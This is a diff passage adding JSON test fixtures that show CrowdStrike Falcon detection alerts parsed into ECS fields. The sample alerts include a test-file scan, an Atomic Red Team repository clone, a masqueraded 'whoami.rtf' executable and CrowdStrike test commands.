+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "azureuser"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "CompositeId": "7da61e27e34f4b8394081896af72e2c7",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections",
+                "HostGroups": [
+                    "2a5927e82d644aa9",
+                    "be74ccf2c2f444cf900"
+                ],
+                "MACAddress": "88-44-66-77-11-22",
+                "Objective": "Falcon Detection Method",
+                "SensorId": "1122025ec596478d830520000000000",
+                "Severity": 70,
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Machine Learning",
+                "Technique": "Sensor-based ML",
+                "Type": "ods"
+            },
+            "device": {
+                "id": "1122025ec596478d830520000000000"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "D:\\RECYCLER\\testpath",
+                "drive_letter": "D",
+                "hash": {
+                    "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
+                },
+                "name": "testfile.vmx",
+                "path": "D:\\RECYCLER\\testpath\\testfile.vmx"
+            },
+            "host": {
+                "hostname": "FRHOSTNAME",
+                "mac": [
+                    "88-44-66-77-11-22"
+                ],
+                "name": "FRHOSTNAME"
+            },
+            "process": {
+                "executable": "D:\\RECYCLER\\testpath\\testfile.vmx",
+                "name": "D:\\RECYCLER\\testpath\\testfile.vmx"
+            },
+            "related": {
+                "hash": [
+                    "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
+                ],
+                "hosts": [
+                    "FRHOSTNAME"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "rule": {
+                "name": "OnDemandScanfiletest"
+            },
+            "source": {
+                "address": "81.2.69.144",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
+                "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
+                "FilesWritten": [
+                    {
+                        "FileName": "test_upx_header_changed",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "test_upx",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "CreateProcessWithPipe.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "T1055.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "msys-2.0.dll",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "calc.dll",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "T1055.011_x64.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "EtwpCreateEtwThread.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "CreateProcess.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "T1036.003.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    }
+                ],
+                "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
+                "GrandparentImageFileName": "sshd",
+                "GrandparentImageFilePath": "/usr/sbin/sshd",
+                "HostGroups": [
+                    "44be50f58ccfcfcfcfcfcfcfcffc"
+                ],
+                "LocalIPv6": "2a02:cf40::",
+                "MACAddress": "02-42-d8-66-fe-03",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "-bash",
+                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": true,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": true,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 272,
+                "PatternId": 30115,
+                "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
+                "Severity": 70,
+                "SeverityName": "High",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Malware",
+                "Technique": "Malicious File",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "c8d1292a8a904216aa25ab728f4b45fd"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "/usr/bin",
+                "hash": {
+                    "md5": "675853ca01ec441df7a015b91a7e1272",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
+                },
+                "name": "git",
+                "path": "/usr/bin/git"
+            },
+            "host": {
+                "hostname": "linux-vm",
+                "mac": [
+                    "02-42-D8-66-FE-03"
+                ],
+                "name": "linux-vm"
+            },
+            "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
+            "process": {
+                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "1719309930613520072",
+                "executable": "/usr/bin/git",
+                "name": "git",
+                "parent": {
+                    "entity_id": "1719308637781199091",
+                    "executable": "/usr/bin/bash",
+                    "name": "bash"
+                },
+                "start": "2024-06-25T10:05:30.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
+                    "675853ca01ec441df7a015b91a7e1272"
+                ],
+                "hosts": [
+                    "linux-vm"
+                ],
+                "ip": [
+                    "172.17.0.1"
+                ],
+                "user": [
+                    "azureuser"
+                ]
+            },
+            "rule": {
+                "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
+                "name": "Known Malware"
+            },
+            "source": {
+                "address": "172.17.0.1",
+                "ip": "172.17.0.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "azureuser"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "sshd:devuser@pts/0",
+                "GrandparentImageFileName": "sshd",
+                "GrandparentImageFilePath": "/usr/sbin/sshd",
+                "MACAddress": "42-01-0a-80-00-18",
+                "Objective": "KeepAccess",
+                "ParentCommandLine": "-bash",
+                "PatternDispositionDescription": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": true,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": true,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 272,
+                "PatternId": 145,
+                "PlatformId": "3",
+                "PlatformName": "Linux",
+                "SensorId": "4ebcabee560d4345b025d6c732656ba9",
+                "Severity": 50,
+                "SeverityName": "Medium",
+                "SourceProducts": "FalconInsight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "DefenseEvasion",
+                "Technique": "Masquerading",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "4ebcabee560d4345b025d6c732656ba9"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 47,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "/home/devuser",
+                "hash": {
+                    "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490"
+                },
+                "name": "whoami.rtf",
+                "path": "/home/devuser/whoami.rtf"
+            },
+            "host": {
+                "hostname": "navnit-test-instance",
+                "mac": [
+                    "42-01-0A-80-00-18"
+                ],
+                "name": "navnit-test-instance"
+            },
+            "message": "Anexecutablewasrunwithacontradictingfileextension",
+            "process": {
+                "command_line": "./whoami.rtf",
+                "end": "2025-07-24T10:17:43.000Z",
+                "entity_id": "1753352263802791400",
+                "executable": "/home/devuser/whoami.rtf",
+                "name": "whoami.rtf",
+                "parent": {
+                    "entity_id": "1753351172854337800",
+                    "executable": "/usr/bin/bash",
+                    "name": "bash"
+                },
+                "start": "2025-07-24T10:17:43.000Z",
+                "uptime": 0
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490",
+                    "3e4129c7bb0c01793aa9ecad38ccb4d0"
+                ],
+                "hosts": [
+                    "navnit-test-instance"
+                ],
+                "ip": [
+                    "10.128.0.24"
+                ],
+                "user": [
+                    "devuser"
+                ]
+            },
+            "rule": {
+                "description": "Anexecutablewasrunwithacontradictingfileextension",
+                "name": "SuspiciousActivity"
+            },
+            "source": {
+                "address": "10.128.0.24",
+                "ip": "10.128.0.24"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "devuser"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "cmd  crowdstrike_test_medium",
+                "GrandparentImageFileName": "cmd.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "HostGroups": [
+                    "6b15afc3ea3a42ed810b5c163e490a9d"
+                ],
+                "MACAddress": "ba-d0-00-ba-d0-00",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "cmd  crowdstrike_test_low",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 10307,
+                "PlatformId": "0",
+                "PlatformName": "Windows",
+                "SensorId": "cff45d56127743a593792fb968dac907",
+                "Severity": 10,
+                "SeverityName": "Informational",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Falcon Overwatch",
+                "Technique": "Malicious Activity",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "cff45d56127743a593792fb968dac907"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
+                "hash": {
+                    "md5": "d53f596e5ea7117ac18aae9f9bd8a481",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "hostname": "dave-win10-3",
+                "mac": [
+                    "BA-D0-00-BA-D0-00"
+                ],
+                "name": "dave-win10-3"
+            },
+            "message": "An informational level detection was triggered on this process for testing purposes.",
+            "process": {
+                "command_line": "cmd  crowdstrike_test_informational",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "43455859437",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "name": "cmd.exe",
+                "parent": {
+                    "entity_id": "43450917603",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "name": "cmd.exe"
+                },
+                "start": "2025-07-15T10:29:41.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682",
+                    "d53f596e5ea7117ac18aae9f9bd8a481"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "description": "An informational level detection was triggered on this process for testing purposes.",
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "address": "10.0.0.13",
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "cmd  crowdstrike_test_high",
+                "GrandparentImageFileName": "cmd.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "HostGroups": [
+                    "6b15afc3ea3a42ed810b5c163e490a9d"
+                ],
+                "MACAddress": "ba-d0-00-ba-d0-00",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "cmd  crowdstrike_test_medium",
+                "PatternDispositionDescription": "Detection, standard detection.",
